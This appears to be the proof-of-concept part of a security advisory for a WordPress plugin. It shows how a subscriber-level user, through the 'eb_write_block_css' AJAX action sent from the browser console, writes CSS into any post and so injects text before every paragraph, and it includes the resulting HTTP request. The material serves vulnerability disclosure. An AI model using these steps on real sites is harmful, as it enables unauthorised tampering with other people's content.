Login as any user, such as a subscriber, and execute the below command via the Web Developer console (replacing the POST_ID by the post id to add the content to),{action:"eb_write_block_css",id:POST_ID,data:JSON.stringify([{desktop:"p:before{content:'This content was added by a subscriber!';}"}])})

Which will send the following request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 143
Connection: close
Cookie: [any authenticated user]


Then view the related post, which will have the text 'This content was added by a subscriber!' appended before each paragraph